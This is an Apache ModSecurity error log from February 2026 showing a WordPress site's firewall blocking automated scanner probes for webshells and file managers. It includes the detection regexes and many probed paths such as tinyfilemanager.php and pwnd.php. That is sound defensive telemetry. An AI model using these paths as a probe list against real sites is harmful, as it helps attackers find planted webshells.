[Sat Feb 28 08:50:41.381617 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.31:55315] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aaI74WuX5e1Q32gqxH00AAAAAQI"]
[Sat Feb 28 08:50:43.168721 2026] [proxy_fcgi:error] [pid 39292:tid 39310] [client 173.244.55.28:51795] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:44.511067 2026] [:error] [pid 39292:tid 39318] [client 173.244.55.28:51795] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaI75KIAO5fN7BxyqcE9GQAAANg"]
[Sat Feb 28 08:50:45.824717 2026] [:error] [pid 39292:tid 39302] [client 173.244.55.22:26551] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/moon.php"] [unique_id "aaI75aIAO5fN7BxyqcE9KQAAAMg"]
[Sat Feb 28 08:50:46.717460 2026] [proxy_fcgi:error] [pid 11791:tid 11802] [client 173.244.55.23:61467] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:47.166459 2026] [proxy_fcgi:error] [pid 11791:tid 11803] [client 173.244.55.23:61467] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:47.607477 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.23:61467] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaI752uX5e1Q32gqxH00OgAAAQI"]
[Sat Feb 28 08:50:48.950782 2026] [proxy_fcgi:error] [pid 39185:tid 39269] [client 173.244.55.23:38577] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:51.195362 2026] [:error] [pid 39185:tid 39268] [client 173.244.55.23:38577] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaI76xVE-FfM89u7BQaqTQAAAJY"]
[Sat Feb 28 08:50:52.515278 2026] [:error] [pid 22194:tid 22219] [client 173.244.55.23:40629] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaI77H6mbajs3bzQGyus7AAAAVc"]
[Sat Feb 28 08:50:53.407876 2026] [:error] [pid 39185:tid 39255] [client 173.244.55.21:30381] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaI77RVE-FfM89u7BQaqYAAAAIk"]
[Sat Feb 28 08:50:54.293911 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.28:63667] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaI77muX5e1Q32gqxH00qAAAAQc"]
[Sat Feb 28 08:50:54.493454 2026] [proxy_fcgi:error] [pid 39184:tid 39235] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:54.931970 2026] [proxy_fcgi:error] [pid 39184:tid 39236] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:55.165539 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.21:40401] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaI7736mbajs3bzQGyutEwAAAVA"]
[Sat Feb 28 08:50:55.377470 2026] [proxy_fcgi:error] [pid 39184:tid 39222] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:55.818201 2026] [proxy_fcgi:error] [pid 39184:tid 39229] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:56.046551 2026] [:error] [pid 39183:tid 39204] [client 173.244.55.28:59425] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaI78BCf4HvhVePw3LakygAAAAw"]
[Sat Feb 28 08:50:56.262504 2026] [proxy_fcgi:error] [pid 39184:tid 39238] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:56.702510 2026] [proxy_fcgi:error] [pid 39184:tid 39225] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:57.143105 2026] [proxy_fcgi:error] [pid 39184:tid 39243] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:57.375033 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.26:32735] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaI78VtZF9Zd_U7easCGQwAAAEA"]
[Sat Feb 28 08:50:57.582271 2026] [proxy_fcgi:error] [pid 39184:tid 39237] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:58.023729 2026] [proxy_fcgi:error] [pid 39184:tid 39243] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:58.259299 2026] [proxy_fcgi:error] [pid 39183:tid 39216] [client 173.244.55.22:20949] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:58.465450 2026] [proxy_fcgi:error] [pid 39184:tid 39226] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:59.159979 2026] [:error] [pid 39183:tid 39193] [client 173.244.55.22:20949] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aaI78xCf4HvhVePw3Lak9AAAAAE"]
[Sat Feb 28 08:50:59.342181 2026] [proxy_fcgi:error] [pid 39184:tid 39243] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:50:59.782291 2026] [proxy_fcgi:error] [pid 39184:tid 39228] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:00.043070 2026] [proxy_fcgi:error] [pid 11791:tid 11816] [client 173.244.55.26:26785] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:00.231468 2026] [proxy_fcgi:error] [pid 39184:tid 39226] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:00.492468 2026] [proxy_fcgi:error] [pid 11791:tid 11811] [client 173.244.55.26:26785] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:00.681483 2026] [proxy_fcgi:error] [pid 39184:tid 39220] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:01.130808 2026] [proxy_fcgi:error] [pid 39184:tid 39240] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:01.577663 2026] [proxy_fcgi:error] [pid 39184:tid 39228] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:02.020595 2026] [proxy_fcgi:error] [pid 39184:tid 39236] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:02.470754 2026] [proxy_fcgi:error] [pid 39184:tid 39223] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:02.915449 2026] [proxy_fcgi:error] [pid 39184:tid 39219] [client 173.244.55.28:53939] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:02.950255 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.26:26785] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaI79muX5e1Q32gqxH01XQAAARU"]
[Sat Feb 28 08:51:03.833223 2026] [:error] [pid 39183:tid 39216] [client 173.244.55.31:47643] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaI79xCf4HvhVePw3LalDwAAABg"]
[Sat Feb 28 08:51:04.702734 2026] [:error] [pid 39185:tid 39254] [client 173.244.55.31:32077] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaI7-BVE-FfM89u7BQaq3AAAAIg"]
[Sat Feb 28 08:51:06.033515 2026] [:error] [pid 39184:tid 39230] [client 173.244.55.23:56243] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaI7-ltZF9Zd_U7easCGqgAAAEs"]
[Sat Feb 28 08:51:06.922916 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.28:53939] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/db.php"] [unique_id "aaI7-ltZF9Zd_U7easCGrgAAAFc"]
[Sat Feb 28 08:51:06.923231 2026] [proxy_fcgi:error] [pid 11791:tid 11799] [client 173.244.55.23:56071] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:07.362936 2026] [:error] [pid 11791:tid 11806] [client 173.244.55.23:56071] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaI7-2uX5e1Q32gqxH01zgAAAQ0"]
[Sat Feb 28 08:51:07.812490 2026] [:error] [pid 11791:tid 11795] [client 173.244.55.26:56633] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/seoplugins/db.php"] [unique_id "aaI7-2uX5e1Q32gqxH012gAAAQI"]
[Sat Feb 28 08:51:09.965463 2026] [proxy_fcgi:error] [pid 11791:tid 11812] [client 173.244.55.29:58987] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:10.854055 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.29:58987] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/upload/css.php"] [unique_id "aaI7_muX5e1Q32gqxH02KwAAAQ4"]
[Sat Feb 28 08:51:10.946639 2026] [:error] [pid 39292:tid 39310] [client 173.244.55.30:62741] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaI7_qIAO5fN7BxyqcE-CQAAANA"]
[Sat Feb 28 08:51:12.187195 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.23:49467] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:12.725113 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.29:59753] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/kill.php"] [unique_id "aaI8AGuX5e1Q32gqxH02UwAAARc"]
[Sat Feb 28 08:51:13.102189 2026] [:error] [pid 11791:tid 11798] [client 173.244.55.23:49467] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaI8AWuX5e1Q32gqxH02WQAAAQU"]
[Sat Feb 28 08:51:14.043879 2026] [:error] [pid 22194:tid 22212] [client 173.244.55.26:21053] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaI8An6mbajs3bzQGyut2QAAAVA"]
[Sat Feb 28 08:51:14.418328 2026] [:error] [pid 39184:tid 39242] [client 173.244.55.20:48555] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaI8AltZF9Zd_U7easCG6AAAAFc"]
[Sat Feb 28 08:51:15.296256 2026] [:error] [pid 39183:tid 39199] [client 173.244.55.26:45235] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aaI8AxCf4HvhVePw3LalUwAAAAc"]
[Sat Feb 28 08:51:15.401955 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.22:38297] [client 173.244.55.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "aaI8A36mbajs3bzQGyut9gAAAUc"]
[Sat Feb 28 08:51:16.174737 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.23:28487] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aaI8BKIAO5fN7BxyqcE-NgAAAM0"]
[Sat Feb 28 08:51:16.736096 2026] [:error] [pid 22194:tid 22209] [client 173.244.55.29:25165] [client 173.244.55.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/envato-css.php"] [unique_id "aaI8BH6mbajs3bzQGyuuIAAAAU0"]
[Sat Feb 28 08:51:17.053400 2026] [:error] [pid 39184:tid 39234] [client 173.244.55.28:53599] [client 173.244.55.28] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-l0gin.php"] [unique_id "aaI8BVtZF9Zd_U7easCG-wAAAE8"]
[Sat Feb 28 08:51:17.956468 2026] [proxy_fcgi:error] [pid 39292:tid 39309] [client 173.244.55.30:27175] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:18.402241 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.30:27175] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaI8BqIAO5fN7BxyqcE-SwAAANE"]
[Sat Feb 28 08:51:19.289028 2026] [proxy_fcgi:error] [pid 22194:tid 22205] [client 173.244.55.29:41105] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:19.925464 2026] [proxy_fcgi:error] [pid 22194:tid 22207] [client 173.244.55.31:45061] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:20.181952 2026] [:error] [pid 22194:tid 22199] [client 173.244.55.29:41105] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaI8CH6mbajs3bzQGyuucAAAAUM"]
[Sat Feb 28 08:51:21.255740 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.31:45061] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaI8CX6mbajs3bzQGyuuhgAAAUY"]
[Sat Feb 28 08:51:21.516821 2026] [:error] [pid 22194:tid 22213] [client 173.244.55.22:26197] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaI8CX6mbajs3bzQGyuukAAAAVE"]
[Sat Feb 28 08:51:22.603577 2026] [proxy_fcgi:error] [pid 11791:tid 11808] [client 173.244.55.30:60265] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:22.843682 2026] [:error] [pid 11791:tid 11807] [client 173.244.55.31:35747] [client 173.244.55.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/natural.php"] [unique_id "aaI8CmuX5e1Q32gqxH026AAAAQ4"]
[Sat Feb 28 08:51:23.045993 2026] [proxy_fcgi:error] [pid 11791:tid 11810] [client 173.244.55.30:60265] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:23.480358 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.30:60265] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaI8C2uX5e1Q32gqxH029AAAARc"]
[Sat Feb 28 08:51:23.721869 2026] [proxy_fcgi:error] [pid 22194:tid 22206] [client 173.244.55.21:48859] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:24.159271 2026] [proxy_fcgi:error] [pid 22194:tid 22215] [client 173.244.55.21:48859] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:24.801249 2026] [proxy_fcgi:error] [pid 39185:tid 39267] [client 173.244.55.25:29297] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:51:25.038951 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.21:48859] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaI8DX6mbajs3bzQGyuu9AAAAUc"]
[Sat Feb 28 08:51:27.014605 2026] [:error] [pid 39185:tid 39246] [client 173.244.55.25:29297] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaI8DxVE-FfM89u7BQarkQAAAIA"]
[Sat Feb 28 08:51:28.167491 2026] [:error] [pid 11791:tid 11817] [client 173.244.55.26:24057] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaI8EGuX5e1Q32gqxH03JgAAARg"]
[Sat Feb 28 08:51:28.329231 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.22:54377] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaI8EH6mbajs3bzQGyuvTAAAAVQ"]
[Sat Feb 28 08:51:29.049697 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.20:40623] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/about/function.php"] [unique_id "aaI8EWuX5e1Q32gqxH03RwAAAQc"]
